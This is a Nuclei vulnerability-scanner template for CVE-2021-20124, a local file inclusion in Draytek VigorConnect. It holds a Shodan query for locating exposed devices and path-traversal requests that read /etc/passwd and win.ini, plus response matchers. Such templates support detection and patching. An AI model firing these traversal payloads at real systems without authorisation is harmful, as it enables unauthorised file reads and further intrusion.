nuclei-templates/cves/2021/CVE-2021-20124.yaml

47 lines
1.5 KiB
YAML

id: CVE-2021-20124
info:
name: Draytek VigorConnect 6.0-B3 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
reference:
- https://www.tenable.com/security/research/tra-2021-42
- https://www.draytek.com/products/vigorconnect/
- https://nvd.nist.gov/vuln/detail/CVE-2021-20124
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-20124
cwe-id: CWE-668
metadata:
verified: true
shodan-query: http.html:"VigorConnect"
tags: cve,cve2021,draytek,lfi,vigorconnect
requests:
- method: GET
path:
- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: word
part: header
words:
- "application/octet-stream"
- type: status
status:
- 200
# Enhanced by mp on 2022/06/27